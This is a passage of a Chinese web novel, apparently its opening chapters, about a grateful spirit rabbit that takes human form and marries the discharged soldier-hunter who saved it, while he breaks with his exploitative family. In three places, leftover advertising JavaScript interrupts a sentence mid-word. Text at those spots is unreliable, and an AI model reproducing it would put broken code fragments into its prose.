《报恩兔兔被养日常》 1. 逼婚 初秋的雨下了一夜,凉意不停往所有人皮肉里钻,只是这会家家户户都没心思返回去穿衣裳,都只顾着看眼前的热闹。 一座新搭盖好的茅草屋前围着很多人,院内的泥土地还没干透,却躺着一个撒泼打滚地妇人。 妇人穿着褐色的糙布,在地上滚来滚去,又哭又嚎,时不时还唱骂几句。 “不就是要你娶媳妇吗?不就是要你拿银子供你大哥读书吗?你离家这么多年,银子拿到手软,你老爹老娘一个子儿都没见!没心肝!没心肝!” “我这是造了什么孽,生出这样的坏种来,苍天无眼,苍天无眼啊!” 陈兰香疯了似的“唱念做打”,踩着韵脚,满口的唾沫星子往外喷,哭到伤心处,还不忘扬手拍地,活像是受了天大委屈。 这番撒泼卖滚的模样却并未叫另一个当事人羞愧,反而混不吝地笑了起来。 袁武身形健硕高大,他大刀阔斧地坐在屋檐下看着陈兰香发疯,混不在意地笑道:“比镇上戏楼里唱的精彩,继续!” 陈兰香一听这话,立刻一骨碌站起来,随意将手里的泥往身上蹭了蹭,她恼怒指向袁武:“我可是你亲娘!父母之命,媒妁之言,你敢不娶!” 那邻村的老屠户急着嫁老女,不仅不需要聘礼,反而给他们十两银子办席面! 这对村里人来说可是不得了的数额,饶是村长家的小哥儿前两年到镇上做妾,也都只得了八两银子! 闻言,原本还带着浅淡笑意的袁武瞬间站起来,将整个茅草屋和院子都衬小了,好像要装不下他。 他此刻脸色阴沉,周身带着些寒气,一把将戳在地上的杀猪刀拔出来,他阴狠狠地盯着陈兰香:“少他娘跟我说这些!当初服役的时候说好的,我袁武日后和你们袁家没有任何关系,当初逼着老子去死,这会开始跟我扯皮子,脸皮子厚得当墙使?” 陈兰香到底是他亲娘还是长辈,这番话免不了有些难听了,围观的村民自然都有些看不下去。 “三小子你刚回来和家里不亲近,但也不能这样和你娘说话啊!” “不懂孝道,迟早天打雷劈!” “要不是你娘送你去服役,你能有今天啊?听说退役的都给了银子,不是婶子说你,你把银子给你爹娘,这事就算过去了!” 袁武侧眸看了一眼说风凉话的妇人,他冷笑一声,露出森森白牙:“那死了人的给的补偿费更多吧?你咋不把银子给你公婆拿着使!少他娘跟我说风凉话,不怕死的尽管来我这闹!” 到底是上过战场杀过人的,这狠厉的话配着杀猪刀,任谁都不敢来他这边继续闹。 被他嘲讽的妇人当即就扯着家里的人跑了,生怕他会拿杀猪刀追着她们砍。 其他村民都是同样的心思,谁也不敢在这里多留,顷刻间便只剩下袁家人了。 陈兰香扯了扯袁大壮袖子,给他使眼色,怕媳妇儿的男人立刻怯声道:“三儿,不是爹说你,你做的太过了,你和你大哥二哥是打断骨头连着筋的亲兄弟,你咋能计较这些?” 袁武就烦听他们扯皮子说这些陈年旧事,听得他恶心不说,还想拿刀砍人。 “少跟我来这套,真给我惹急了,谁也别想好过,我是从死人堆里爬回来的,什么孝道在我这都是狗屁!”袁武说完拿刀指着篱笆院门,冷喝一声,“都滚!” 当即就给袁大壮吓个趔趄,瞬间啥也不敢说了,东扯扯西拽拽,把所有人都给带出去了。 眼见他们都离开,袁武将砍刀冲洗干净,放进屋里,自己则是重新坐回檐下,浓眉间带着怒和怨。 四年前家中难过,恰逢大渊战事吃紧,官差来收人去服军役,家中男丁多的,至少要有两个去。 袁武生的壮实,自幼就能吃,长的也高大,十四岁的年纪就赶超两个哥哥了,他知道因生他时难产,导致他娘身体亏损再不能生育。 陈兰香不喜欢他是情理之中,却也没想到服军役时让他去这事袁大壮也同意,而另一个本该落到大哥头上的名额,陈兰香却借银子给了官差,而免了他大哥的军役。 两相对比,他还有什么不明白? 十四岁的年纪早就懂事,在这之前还能骗骗自己,是因为出生时亏欠了娘,所以得事事孝顺她,所以不管她如何打骂,他都不吃心,可这事一出,曾经的委屈便都化作了怨恨。 他咬牙说着断绝关系的话,愤然离去,哪怕是死,也只当还了他们生养的恩情。 可现如今他安然归来,断不会再叫他们随意对待自己,更别提随便娶个什么人! “他娘的……” 袁武咒骂一声,将胸口的郁气吐出,他起身拍拍屁股回了屋里,看着摆放整齐的猎具,想着回头再打些猎物,多赚点银子。 咯吱咯吱…… 袁武突然听到干草被咬的吱吱作响地声音,他只当是耗子,反正他这里一贫如洗,也没什么值得吃的东西,只是却听得那声音离他越来越近,这才撩起眼皮顺着声音看过去。 就见一只皮毛溜光水滑的小白兔瞪着红通通地眼睛看着他,后腿上还绑着灰扑扑地碎布。 袁武和它对视半天,终于想起这没他巴掌大的兔子,是他之前在山上救的那只。 他抬脚走了两步,都没把那兔子吓走,他知道好些动物都有灵性,便以为这兔子是跟他要吃的。 他皱眉:“我这没吃的,还是你想给我添个菜?” 袁武看那兔子怔愣着动了动嘴,好像是要说话。 他被自己的想法惊到,转而就骂了自己两句,兔子会说个鸟话! “滚蛋,这里没吃的给你……”袁武嘴上说着,却还是去本就狭小的厨房里找了些菜叶子给他,“吃了赶紧滚,被那些人看到,你皮子都得做成手套。” 兔子似乎是真听懂了,顿了顿,将菜叶子咬进嘴里,一溜烟儿地跑了。 小兔子使劲倒腾着四条腿儿,终于在一处山坳坳停下,它避拨弄开挡在洞门口的杂乱树枝和草,懒懒地躺进去,双手捧着菜叶子,越吃越慢,眼睛都快合上了,耳畔却突然传来声音—— “就知道你在这!” “别装死,我知道你又去村里了!” “你真不听话,叔伯不是说了不许咱们下山吗?你把菜分我一片,我就不告状了。” 涂茸掀起眼皮,缓缓看它一眼,又慢慢合上,恩人自己都没得吃,却还要给他这些菜,他才不会分给别的兔子! 好朋友也不行。 他边咀嚼边询问:“涂苒,应该怎么报恩呢?” 涂苒不和他一般见识,得意洋洋道道:“我之前帮你问过了,兔三婶说要给恩人需要的东西,你恩人需要什么呢?” 这话问住涂茸了,他猛的坐起来,看着面前的菜叶子,咧开兔唇笑:“他没有吃的,我可以给他吃的!” “吃的现在好珍贵,那他肯定会喜欢的!”涂苒有些神往和艳羡。 他们虽然是有灵智的兔子,再努力几百年就能彻底化形,但吃食上还是和普通兔子没有区别,得紧着时间找够足足的食物,否则冬季月是过不下去的。 若是因食物不够出来觅食,像涂茸那样被大兽咬伤 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怎么办? 不过若是能得到好多好多食物,涂茸的恩人一定会很开心。 涂茸瞬间瞪大双眸,长耳朵都激动地晃了晃,它虽然没什么本事,但找吃的还是没问题的! 他咧开唇角,说话时纤长胡须跟着鼻头一起微动着:“那我就找好多好多食物给他,他好像刚从外面回来,都没有田地能丰收,那等秋收后,我就去捡剩下的!” 涂苒有些担忧:“能找到吗?粮食好珍贵哦!兔三婶说我们不能去外面跑的,会被吃掉!人会吃人的!” 涂茸嚼嚼嚼,哼哼道:“我不会被抓到的,上次遇到臭野猪是意外,不过还是被恩人救了呀!” 涂苒便没再说什么,他是知道涂茸运气是极好的,它去找食物的地方肯定有剩余,它的窝一直特别特别隐蔽,它遇到的恩人也很和善! 两只小兔子窝着说着悄悄话,他们都是野兔,涂苒也不甚习惯在别的兔子窝里待太久,聊完就赶紧离开了,还不忘叮嘱涂茸要小心其他人类。 它们被抓到,一定会被吃掉的! 涂茸边嚼着菜叶,它已经有计划了,等秋收最忙那几日,他就捡些食物给恩人送去! 秋收这日。 清晨空气中带着些许凉意,玉灵村家家户户都在田里劳碌,连三岁孩童都在水洼里捉小鱼,要是抓的多,下锅熬汤也算荤菜呢! 只是这边忙碌劳作,倒显得一道纤细身影有些突兀。 因着是木头围的篱笆院,轻易就能将面前的茅草屋院子看个彻底,那身影便蹲在木头相接的缝隙里不住往里面看,怀里鼓鼓囊囊地,像是藏着宝贝。 涂茸等了半晌都不见里面有动静,便知晓今日又不能和恩人碰面了,他原以为恩人不需要下地会在家呢! 他微微叹息一声音,将视线从缝隙中收回,精致圆润的脸上带着失落。 起身时还不忘将因情绪波动较大而突然露出来的白团子尾巴给拍回去。 他小心将护在怀里用大树叶包着的东西放到门口,里面都是他这几日找来的食物,因着不能去摘田里的庄稼,还要躲避山上的猛兽,找到的东西就有些少了,希望恩人不要嫌弃。 他拍拍手掌满意地看着自己找来的食物,嘴里都哼上小曲儿了,却骤然听得些许动静,他耳朵微动,立刻闪身躲了起来。 “娘,要是被老三发现咋办?” 涂茸敏锐察觉到说话人的怯懦和畏缩,他悄悄竖起长耳朵。 陈兰香压着声音咒骂道:“咱们就悄悄偷了,他能知道啥?那小畜生居然敢不听他老娘的话,那一个子儿也不给他留,饿不死他!” 袁全面上露怯,老三前几日那刀真是吓到他了,要是被发现他们来偷银子,不定要怎么生气,万一砍了他怎么办? 娘只在意大哥,却要拽着他来送命! 饿死?! 涂茸瞬间瞪大眼睛,好好的人怎么能饿死呢! 恩人对他那样好,都穷的住草席子了,还给他菜叶吃,这坏心眼的婆子居然想要饿死他! 他是知道挨饿的滋味的,自然不能真叫他们得手! 涂茸咬咬牙,趁着他们推门的间隙,直接动用妖力将屋里放着的大刀甩到他们脚下,差点戳在陈兰香脚上。 两人当即吓的嚎叫两声,惊恐不定地对视一眼,爬起来就跑了。 涂茸白着脸抹了一把额间的汗,耳朵尾巴都露出来了,他用尽最后的力气将刀放回原处,连门也关好,做出没有任何人来过的迹象。 这才变回兔子,瑟瑟缩缩躲在墙角下沉沉睡去。 2. 分家 袁武看着面前的东西皱眉。 从那日陈兰香来闹过,这破草屋门前就总会出现些乱七八糟的东西,一开始只是些被啃过的菜叶,或是被脚踩过的萝卜缨,他当即就全都扔了出去,只当是村里那些皮孩子或是袁家故意扔来恶心他。 可现如今被他拿在手里的是包得严严实实地烂菜叶和萝卜缨……以及只长在山里并且发黄的野菜。 这种掉地上只有村口老疯子会捡的东西,到底是谁包的这么严实丢到他门前?! “哟三武,你娘和二哥知道惦记你了?” 袁武正头疼着,就听到幸灾乐祸地声音,他猛的扭头看去,本就硬朗的脸配上严肃的表情显得格外狠厉,他皱眉:“什么意思?” 男子被他吓一哆嗦,强撑着说道:“我家婆娘去给我送饭,见陈婶儿和二全来找你了,我想许是他们放的……我田里还有事,先走了!” 陈兰香,袁全! 袁武咬牙猛地将手里的菜叶全都扔出去,撞到泥地上还发出好大一声“啪”响。 突然,他想到什么,立刻步伐匆匆朝屋内走去,刚走到门口就发现了不对劲儿。 他们在战场拼过的人都格外仔细小心,否则有半点懈怠就容易丧命,他看着脚下的痕迹,却清楚记得,在他手里的刀就没有落到门口过,又怎么可能会有刀拔出的痕迹? 他拧眉朝屋内走去,掀开被褥,抬起床板,将藏在缝隙里的小包拿出来,仔细清点着里面的数额。 这些银子,他都有用处,半枚铜板都不能少。 只是还不够。 屋内的袁武稍稍松了口气,屋外墙角躲着的涂茸却是淌了一脸泪,连脸上的毛毛都被打湿成绺儿,晶莹的泪珠从圆润硕大的眼睛中掉落,颗颗分明,被光一闪,像是珠子一般。 那都是他辛苦找的食物。 恩人居然那般看不上,他也不知道该怎么办了。 小兔子慢慢挪蹭到屋前,将被摔到地上的菜叶重新包好,小心翼翼团回怀里,费劲吧啦的重新躲到角落里,用肉肉垫子囫囵擦了把眼泪。 它长长舒口气,将扁扁已经不新鲜的萝卜缨往嘴里放,白皙且长的兔牙很快就将一根吃完。 这不是很好吃吗? 或许恩人不喜欢吃菜叶吗? 它眼睛一亮,恩人那样高大威猛,肯定是要吃肉的,先前恩人就是去打猎才救到他,它真笨,怎么能把这件事给忘了! 涂茸来了精神,却又在转瞬间消散。 它是吃草的,身形又格外小,只有它被捕猎的份,哪有它去捕猎其他动物的机会! 涂茸只稍稍失落片刻,很快又打起精神来,它抱着怀里鼓囊囊的菜包闪身跑进了后山里。 “涂苒涂苒涂苒!” “爷爷在此,叫人。” “好吧,爷爷!” “……我是让你叫爷爷!” 涂苒双目好似红的更厉害,它有些羞愤地将一根小而秀气的胡萝卜砸到涂茸身上:“族爷爷在这里等你呢!” 涂茸:“……” 两颊的皮毛好似都有些微微泛红,涂茸羞羞怯怯看向窝里的族爷爷:“族爷爷好,您找我有事吗?” “我听族人说你能化形后时常下山,涂茸,你这样是不对的,若是被发现,我们都要遭殃了。”族爷爷看向它的视线带着不赞同,言语间却并没有要过分苛责的意思,“你往后行事要小心些。” “我记得了。”涂茸胡须微动,有些不好意思。 族爷爷微微叹息:“当年因你善举,我们好些兔子都有了灵智,偏偏你和涂苒有更大的造化,连人形都能化,当真不知是祸是福,可无论祸福,你们都不能做伤天害理之事。” 涂苒瞪涂茸一眼,赶紧凑到族爷爷面前嬉笑道:“爷爷放心,我会看好他的,您就别担心了。” “涂茸,世间万事皆有规律,莫要逆天而行,切记。” 族爷爷丢下一句话便离开了,它早就知晓涂茸要报恩之事,只是自古以来报恩的方式都各不相同,它只希望那蠢兔子,不要选最难的那条路。 涂茸自然知晓生灵规律,因此并没有多想,而是快速和涂苒凑到一起,两对毛茸茸地耳朵抵到一起,开始小声密谋着。 它用耳朵碰碰涂苒,小声请求着:“你就陪我去吧?涂苒?爷爷?” 涂苒乜斜它:“为了报恩,你当真是什么话都能说出口了?” “我觉得恩人不喜欢吃菜,我能去哪里找到肉呢?还真被我想到了!我们可以一起去追野鸡!”涂茸兴致勃勃地提出意见,“我们可以兵分两路,把笨笨的野鸡追到陷阱里!” 涂苒抿抿兔唇,很委婉询问:“你为什么觉得野鸡会比你这只笨兔子还要笨?” 涂茸歪起脑袋,分外认真地思索着:“可能因为我们有四条腿吧?” 涂苒:“……”你就是那种长四个脑子都只显笨重不显聪明的! 心中虽那样想,但该说不说涂茸的意见还是很有可取之处的,只要能帮到它的恩人,那就是好办法。 把猎物赶进陷阱,总比要它跟着去抓猎物要好很多吧? 它若是不赶紧答应,涂茸还真能提出这要求来! 见它答应,涂茸便立刻欢天喜地的和它朝玉灵山腹部去了,恩人智勇双全,经常在里面打猎,那里都是他的陷阱,只要陷阱里面猎物满满的,恩人肯定会很高兴! 到底是有灵智的动物,和那些普通的动物不同,它们两个在深山里一通乱跑,还真将一些野鸡野兔都赶进了陷阱里。 只是它们有些凶,掉进去的猎物无一不是惊惧,又被陷阱所伤,都死在里面了。 两只兔子在深山野了三日,也赶了三日的猎物,导致陷阱里“死伤无数”,状况甚至可以用惨烈来形容! 袁武刚进山就察觉到了不对劲,他警惕小心的朝陷阱处走去,就见陷阱周围布满各种脚印,他紧皱眉头将陷阱掀开,里面的血腥气瞬间冲进他鼻子里。 待他看清眼前这一幕后,瞬间又惊又怒。 村里人都知道,打猎最要紧的是要保证猎物的完整,就算是咽气的,若是皮毛完好,也能多卖两枚铜板,可陷阱里这些,都断胳膊少翅膀的! 他默不作声将这些猎物都清理出来,放到板车上推着下了山,放好猎物,拐弯就朝袁家方向走去了。 正值傍晚,好些人从田里回来都瞧见他背影了。 “这是干啥去?去给袁家认错?” “他要是认错,说明他还有点良心,怎么说袁家生养他一场,哪能真断绝关系!” “嗐!你们知道啥,武小子那些猎物都死了!一板车,一只活的都没有,怕是早就气狠了!” “那他去袁家干啥?乖乖……该不会是袁家都给他弄死了吧?快过去看看!” 等村里人拖着疲惫身子过去时,袁武已经在袁家耍了一通威风了,他本就高大健硕,带着些血腥气和凌厉,直将袁家人给吓够呛。 他手里拿着根木棍,直指着袁全:“今日我就将狠话放在这,往后我袁武与你们再无任何瓜葛,若是再敢使这些下作手段,就别怪我不客气!” 若是在之前,听到袁武说这种不忠不孝地话,陈兰香早就如炸毛公鸡开始扑棱翅膀啄人了,但这会却异常安静,甚至还有些心虚地往后躲着。 任由袁武指着袁全骂。 此情此景,袁大 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 壮还有什么不明白,他向来不爱管这些事的,但此时也必须站出来。 “三儿,不论如何,我们都是你的亲人长辈,你这番行事作风实在有些不好看。但同样因为你这些话,我们也都明白了,从今日起你便被分出去了,不管你日后吃糠咽菜还是惹下滔天大祸,都和我们没有关系。” 袁大壮向来话少,家中一切事宜都是陈兰香在安排,此时却绞尽脑汁将袁武甩了出去,也是认定了袁武此生都不会再有任何作为。 毕竟袁家还有个在镇上读书的童生。 若是袁文真能考出成绩,有番作为,那自然就不用再惧怕袁武这身怒气和蛮力! 却从未想过袁文已经二十有一,依旧只是童生,而真有本事的,早就在他这年岁成为秀才或举人了。 听袁大壮这样说,袁武反而松了口气,他浓眉一挑:“听这语气不像是要分家,是要断亲啊?” 话音一落,看热闹的便立刻喧闹起来。 “听着还真是像,啥啥都没关系,不是断亲还能是啥?” “诶呦,哪能断亲啊!武小子这话可不能乱说的,都是一家人,哪能做这种不孝顺的事?” “武小子是凶煞些,但也情有可原,又没犯过错,怎么能就断亲呢?” “还是把村长请来吧!” 村长李德顺看到乱糟糟一群人就心烦,但心烦之余还升起一股隐匿的骄傲,连这样的小事都得他出马解决! 他走近袁家院子,微抬下巴轻咳一声:“袁老哥,你家又发生什么事了?听说你们要断亲?” 袁大壮方才还能理直气壮地和袁武说话,这会猛地和李德顺碰上,瞬间又被打回原形了。 他嗫喏道:“不是那个意思……” 李德顺很满意他的说辞,黑糙的脸上露出笑:“那就好,咱们玉灵村还没有出过断亲的事,可不能在你们这里开先例!” 否则传到邻村或是镇上,要被笑话不说,还可能被问责,他可不愿意发生这种事! 陈兰香也是不愿意断亲的,她虽然也怕袁武这疯样,却也惦记着他藏起来的银子,从战场退下来可都给过遣散银子的,要是都拿给阿文读书,那多好! 眼下听村长这般说,她也稍微松了口气,眼珠子不住的偷偷打量袁武。 这煞星是肯定不会同意断亲的,家里虽然不富裕,但可是有个童生大哥的,来日若是能中,他也能沾光不是? 袁武冷冽地视线从他们身上掠过,转头看向李德顺:“既然不能断亲,那就分家分清楚些。” “你想要什么?”陈兰香立刻警惕起来,“这堂屋可是要留给老大的,田地也要在你大哥名下,你想都别想!” 这话说的过分偏心了,甚至连旁边杵着的袁全都没想到。 袁武看都没看她一眼,掷地有声道:“我不要袁家任何东西,条件是袁家也别来惦记我的!日后井水不犯河水,彼此毫无关系,若是再敢犯到我跟前来,别怪我手里的木棍不讲道理!” “……” 说起来这和断亲也没有区别了,但在李德顺眼里,只要没有走明面上的“断亲”,那自然就不算断亲的,只要于他面子无碍,他才懒得管这些。 李德顺当即就同意了,并在袁武的要求下写了文书,各自按了手印。 袁武拿了字据回了茅草屋,上面条例清楚,他也不怕陈兰香和袁全再来闹了,再有那种事,能直接把他们扭送去见官! 茅草屋外。 两只兔子碰碰耳朵。 涂苒疑惑不解:“人类真是奇怪,为何要与亲人争吵呢?” 涂茸红宝石般的眸子迸发出惊喜:“或许他是想要新的亲人呢!” 3. 兔选 那猎户想不想要新亲人涂苒不知道,但它敢确定,涂茸这蠢兔子是想要了! “就该扒开你的兔脑袋,看看里面装的是不是都是胡萝卜!”涂苒怒火中烧,“你是不是吃烂菜叶吃坏脑袋了?居然都敢动那种要命心思!” 涂茸用软垫子囫囵摸摸脑袋,瞪着滴流圆儿的大眼睛控诉它:“你作何这样恼?我是想着,或许我们能帮他说亲呢?兔三婶说没有男子是不成亲的,他不要袁家的亲人,那我们帮他成亲,他不就有新的亲人了吗?” 涂苒瞬间语塞,它还以为…… 它轻咳一声:“人类成亲最是麻烦,你别动脑袋思考,否则会出大事的,等我消息吧!” “那好哦。”涂茸很痛快答应了。 可实际上对方说的话,它并没有放在心上,有灵智的动物一定要报恩的,否则对自身不利,何况恩情是它自己决定要报还的,涂苒已经帮它很多了,不好叫对方继续跟着操心。 涂苒很快就跑开了,它得悄悄去打听打听,这人类要如何成亲相看,若是能帮袁武和其他姑娘成婚,那涂茸就无需再往山下跑了。 见它蹦开,涂茸重新窝回干草垛里,它拨弄着被恩人丢出来的菜叶,好几日过去,早就发黄不新鲜了,但它丝毫不愿浪费,全都往嘴巴里塞,兔牙将菜叶咬的咯吱咯吱响。 将肚皮撑得鼓鼓的,它才分外不舍得合上眼皮,虽然不用冬眠,但冬日就是爱犯懒,总想团成团睡懒觉。 眼皮即将合上之际,它猛的想到报恩的事,眼睛瞬间瞪老大,然后颤颤巍巍爬起来,和自己的干草垛说了再见,悄悄蹦哒着闪进了村里。 因着是晚饭前发生这场闹剧,瞬间就成了家家户户的“下饭菜”,还伴随着几声怒骂或是嬉笑,吃饭的吧唧声便更响了。 涂茸躲在角落里挨家挨户地听,还真叫他听到些有用的。 “袁家这事做的不厚道,要武小子娶的姑娘我见过,身形壮如小山,满头满脸的油,死活嫁不出去了……还就被大壮家的瞧上了。” “她哪是瞧上那姑娘了,分明就是眼馋屠户亲家和十两银子!” “要我说,武小子是该找个管家的,别的不说,至少能有个知冷知热的,晨起我见他打赤膊进的山……” 知冷知热? 涂茸眼睛都亮了,原来恩人都不能感觉到冷热,但这事它会呀! 下雨就躲蓬蓬,下雪就钻草垛,它可知冷知热了! 只是它要如何才能进到恩人家中,去帮他知冷知热呢? 耳畔的说话声一直未停止,它便继续竖起耳朵听着。 “要我说,就算是天上掉下个小哥儿,也比袁家跟他说的那个强,好歹没出五服,我回头帮武小子留意着点,你咋不说话了?” “你老娘们自己做打算,我一个汉子说这些干啥!” …… 一语惊醒梦中人。 涂茸欢天喜地的蹦跶开,它虽然不是天上掉的,但它知冷知热,爱惜粮食,也很喜欢人类,自然没有比它更合适的兔选了! 夜幕降临,涂茸回到自己的窝里便开始准备去做“天上掉的兔子”了,希望恩人不要被它吓到才好! 第二日。 因着袁武在袁家耍了一通威风,别说是袁家,就算是村里别人也不敢轻易过来招惹他,他便趁着天未亮,推着板车将猎物都带到镇上去叫卖了。 清晨,化作人形的涂茸穿浅青色衣衫在篱笆院外踱步,时不时踮起脚尖朝里面看,只是圆润漂亮的眼睛看了许久,都没有人出现。 恩人当真太勤快了些,定然是去外面赚银子了,等他和恩人成为亲人,一定要帮他赚银子! 涂茸一等便等到了晌午,他有些困倦地倚着篱笆院打盹儿,迷瞪一会又会猛的睁开眼,生怕会错过恩人的身影。 “你是谁?” 涂茸第数不清的次数强迫自己睁开眼时,视线突然被暗影遮挡,还有一道低沉危险的声音一同响起。 瞬间将他给惊醒,汗毛都炸了起来。 待他看清眼前的人,他瞬间从地上爬起来,万分欣喜地看着他,情真意切地唤道:“恩公……” 瞧着是个小哥儿,袁武浓眉一皱,声音更加冷冽:“你不是玉灵村的,袁家让你来的?你到底是谁!” “我是来——我叫涂茸,家里没有亲人了,我刚来这里……”涂茸话锋一转将报恩的事吞回去了,说出来岂不是告诉恩人自己是兔子吗? 谁会相信世上有妖精啊! 袁武猜测他大概是家中无人,想来这里投奔亲戚的,但估计是走错地方了,毕竟玉灵村可不会有这种标致小哥儿的亲戚。 袁武知晓这几年战事初平,外面肯定还会有很多像这小哥儿这样奔波的,只是他一个糙汉子,自然不能收留对方,否则会毁了对方名声。 “我这里有二两银子,你拿着去寻亲吧。”见他着实可怜,袁武说着从瘪瘪的破旧荷包里拿出仅剩的碎银递给他,“快走,叫别人看见不好。” “为何不好?我不能留在你这里吗?我知道你不是坏人,我就想留在你这里,我听其他婶子说你没个知冷知热的,可我知啊!你就自己,我也就自己,我们成为亲人不好吗?它们都说我笨了些,可我很听话,你想让我做什么,我就能做什么!” 因着知晓他不是坏人,涂茸竟是越说越觉得委屈了,他双目泛红,分外可怜的询问:“还有、还有我送你的谢礼,当真都不喜欢么?怎么都扔掉呀?” 袁武越听越觉得古怪,他拧眉打量着面前的小哥儿,模样漂亮,衣着也不像那种四处奔波劳碌的破旧衫子。 但有一点他很肯定,那便是这小哥儿怕是个脑袋有病的,还是最不好治的疯病! “我没有银子,养不起你,顺着这条小路直走再右拐下去,就是村长家,你去那。”袁武见惯外面生死,自然也知晓这小哥儿若非逼不得已,怎么可能愿意求他收留。 只是他这里确实一贫如洗,之前卖猎物得来的银子也早就去了其他地方,就剩这二两碎银了。 涂茸连忙攥住他衣袖,健硕的汉子确实不知冷,这天只穿着单薄的衫子,手掌刚碰上去,就感觉到热乎乎的。 他赶紧开口道:“我不要银子,我就是想跟着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你,和你成亲——” 这话还未说完,就被袁武满是茧子的大手捂住了嘴巴,圆润剔透的眼睛立刻看向他,顺着他的视线看到了站在门口的妇人。 那妇人眼睛瞪的老大,惊慌不定的视线掠过袁武的表情,顺着他有力的臂膀落到被他用手捂着嘴的涂茸脸上。 小哥儿虽然打扮朴素,但模样十分漂亮,尤其是那双眼睛,望过来时好像还带着点疑惑。 “堂姑。”袁武暗自咬牙,被别人看到他和这小哥儿举止亲密,传出去怕是要污了他名声,却也只能硬邦邦补充,“他脑子不好使。” 袁秀英面上的尴尬挥之不去,却被这称呼唤回理智,连畏惧都少了,她轻咳一声:“堂姑都懂,原也是要和你说这事的,不过见你自己找了个,也……行吧!” 涂茸耳朵一动,眼睛瞬间亮了起来,他使劲儿推开袁武,脸上扬起明艳的笑:“堂姑!我知道你要给他介绍知冷知热的,我就行的!” 他耳朵很好使,瞬间就听出这就是那夜他听墙角的那家婶子。 堂姑人好,出的主意他都用上了! “这、这倒是……”猛地被他叫堂姑,袁秀英有些尴尬,她看了看袁武,试图再劝说劝说,“你老大不小了,我看这小哥儿也是真心实意想和你过日子,何况你们都抱在一起了……叫别人知道了不好。” 袁武头疼的就是这个,他就是个孤家寡人,一人吃饱,全家不饿,囫囵活一辈子也就算了。 可若是带着这么个小哥儿,哪能叫他跟自己过这清苦日子? “对对,知道不好……”涂茸见他神情松动,立刻换上一副可怜样,“求求你了……” 不报恩他会遭天谴的。 袁秀英和涂茸齐齐看着他,袁武有些不痛快的皱了皱眉,这小哥儿是个傻子,一路走过来肯定早就被好多人看到了,保不齐就有看见这一幕的,他要是不给个说法,恐怕这小傻子走出去也得被其他老汉给糟蹋。 他垂眼看向涂茸,虽然不知道是哪家来的小哥儿,但既然到了他这里,也没有送出去受罪的道理。 何况还曾有人告诉过他,相逢便是缘分。 “你莫要出去乱跑,出了事我不会管你。”袁武沉默片刻最终还是同意了。 “好好好!”涂茸忙不迭答应,完全不觉得他的话多冷血。 反正只要恩人同意自己在这里,那报恩就成功一半了! 袁秀英也终于露出笑:“旁的堂姑就不多说了,只是你总得和小哥儿有个席面儿,他刚来这边也得叫别人知道知道。” 袁秀英的意思很委婉,这小哥儿这么标志,他们十里八乡都难找出这么好看的,若是不提前告诉别人已经成家了,保不齐要被欺负的。 袁武沉默点头,这是应该的。 袁秀英就更满意了,她转而慈爱地看向涂茸:“你叫什么名?是哪家的小哥儿?” “我叫涂茸,不是谁——” “是我战场牺牲的兄弟家属,来投奔我。”袁武打断他的话,语气平静地给他安好了假身份。 涂茸不懂,但他很配合的点着头。 4. 成婚 袁武要成婚了。 这事眨眼间就传遍玉灵村,若说先前不知道袁家老三袁武是个硬茬子,那后来那些把式都叫他们看得清清楚楚,那可是连爹娘面子都不给的。 只是那样一个暴躁汉子,谁会愿意和他成婚?怕不是真娶了个身形模样都有残缺的姑娘或小哥儿吧? 抱着这样的心思,村里好些人都忍不住要去打探,可架不住袁武在院里做活计,任谁来都别想在他这得到个好儿,再加上也是真怵他那几把砍刀,渐渐就歇了心思,左右成婚那日也都能见不是? 袁武知道村里人那些心思,便叮嘱涂茸只许在屋里待着。 白日里袁武没再外出,只是使铜板给同村的,叫他们帮忙带些东西回来,有好事的私下打听过,是一些红布和喜糖。 “哟,他咋这么抠?不是说给了好些遣散费吗?那点红绸子连喜服都做不成。” “给个瘸腿毁脸的使那些银子干啥,这武小子还真是精明,怕是他在外面买回来暖炕的!” “谁说不是呢,还藏着掖着不给人瞧的,谁还惦记他家哥儿啊!” 秋收过后家家户户稍稍松了口气,一些妇人闲下来就爱嚼舌根,在街头村口一坐,没人叫能把唾沫星子喷完才回家。 这些话自然也会以各种方式传到袁武耳朵里,他一一记下,待分发喜糖时将那些人户全都撇个干干净净。 村里成亲没有多隆重,像袁武这样的独户更是没有热闹的必要,但他还是摆了两桌酒席,请堂姑一家来院内坐了。 席面是单薄了些,但酒肉倒是没少,两张桌面都放着整只鸡,即便是青菜都有油水泡着,任谁也不能对这席面说不好的。 袁武确实没有闲散银子给涂茸做喜服,只买了块红布,让袁秀英给涂茸缝了件披肩。 除去被请坐下的,其余人便只有在篱笆院外站着看的份,先前还不眼馋,此时看着桌面上的肉都有些心动。 不由想着,果然是猎户家,油水就是多! 袁武不理会他们那些贪婪视线,他进屋将涂茸带出来,小哥儿刚一出现,就立刻吸引了所有人的注意。 涂茸虽依旧穿着他那件浅青色的衣衫,但领间还披着一件红色披肩,两种颜色相撞破有些不伦不类,但他在身上却相得益彰。 更令人惊叹的便是他的容貌。 什么瘸腿毁脸,什么随便买来的粗使……分明就是个容貌昳丽,格外灵动的小公子! “这、这是哪家的小哥儿?咋没见过?” “瞧着模样怕不是镇上的?乖乖哟,可真好看!” 涂茸不知自己的模样引起他们诸多猜测,方才恩人说了,他只需要好好站在旁边,不用理会其他人。 他欢欢喜喜地攥住袁武的袖子,恩人虽然有些不情愿和他成为亲人,但今日穿了干净整洁的长袖衣衫呢! 袁武视线从议论纷纷的人脸上掠过,他端起一碗酒置于身前,沉声道:“这是我夫郎涂茸,希望邻里乡亲都能认得他。” 院外的人都觉得这话有些别扭,不认得他能咋?还能打打杀杀不成? 涂茸已经知道“夫郎”就是亲人的意思,他连忙跟着点头,他和恩人已经成亲人! 袁武说完这话便将酒一饮而尽,开始分发喜糖和瓜子,院外的人虽没有吃上席面,但也明白,连袁家都没吃上,他们没被赶出去不让看都是好的,何况能得些免费瓜子也不赖! 这本就是玉灵村的小事,看过热闹也就散了。 袁秀英帮着忙活完也就要走,她看向涂茸叮嘱道:“瞧你也不像是会干活的,只是家中汉子饥饱,你总得照顾好,不能叫他饿着,若是有不懂的就来找堂姑。” 涂茸连连点头:“我知道堂姑家在哪。” 